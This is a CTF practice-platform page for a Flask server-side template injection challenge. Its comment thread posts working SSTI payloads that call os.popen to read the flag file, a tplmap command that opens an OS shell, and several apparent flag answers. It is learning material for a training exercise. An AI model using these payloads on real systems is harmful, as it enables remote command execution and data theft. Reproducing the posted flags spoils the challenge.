Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一　　血: Tokeii
一血奖励: 3金币
解　　决: 16470
提　　示:
描　　述:
Simple_SSTI_2
...
登录回复
评论
easyCtf 3年前
举报

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 0
风灵丨玉秀 3年前
举报

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 0
15062206228 3年前
举报

学习flask ssti。参考https://blog.csdn.net/DonkeyMoon/article/details/109027966?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109027966-blo

回复 0
jmjun 3年前
举报

ssti这一类的题，大佬有什么共同的解法吗

回复 0
大白bugku 3年前
举报

flag{1198203d8d21dedd91c2552c5a2d5217}

回复 0
lcplj123 3年前
举报

flag{1a99409e83ac454a0087d8d4b8d7bded}

回复 0
dialog007 3年前
举报

flag{5797b77f958c0d81a37ff4a0128bbe50}

回复 0
saber2k 3年前
举报

flag{8b37299e6a976863ae79c8c173ce7cd1}

回复 0
18096199839 3年前
举报

http://114.67.175.224:12412/?flag={{().__class__.__base__.__subclasses__[177].__init__.__globals__[%27__builtins__%27][%27eval%27](%27__import__(%22os%22).popen(%22cat%20flag%22).read()%27)}} 直接构造

回复 1
tigernolion 3年前
举报

./tplmap.py -u http://114.67.175.224:14305/?flag=123 --os-shell

回复 0

WriteUp

image
valecalida

5 金币

立即查看

评分(15)

解题动态

shu-jia 攻破了该题 2天前
avaclaire 攻破了该题 2天前
cha8e1 攻破了该题 3天前
yehlg 攻破了该题 4天前
edisonya 攻破了该题 5天前
finsh 攻破了该题 6天前
pangjinqi 攻破了该题 6天前
mmhhdm 攻破了该题 6天前
wujita01 攻破了该题 7天前
Hackerchen 攻破了该题 7天前
影人sha 攻破了该题 7天前
drameet 攻破了该题 7天前
Hoshisyy 攻破了该题 11天前
SuperFan 攻破了该题 11天前
ikunqq 攻破了该题 13天前
十里故清云 攻破了该题 13天前
0n1y 攻破了该题 14天前
bugku2026 攻破了该题 15天前
kr2yh 攻破了该题 15天前
kitniu 攻破了该题 15天前
问题反馈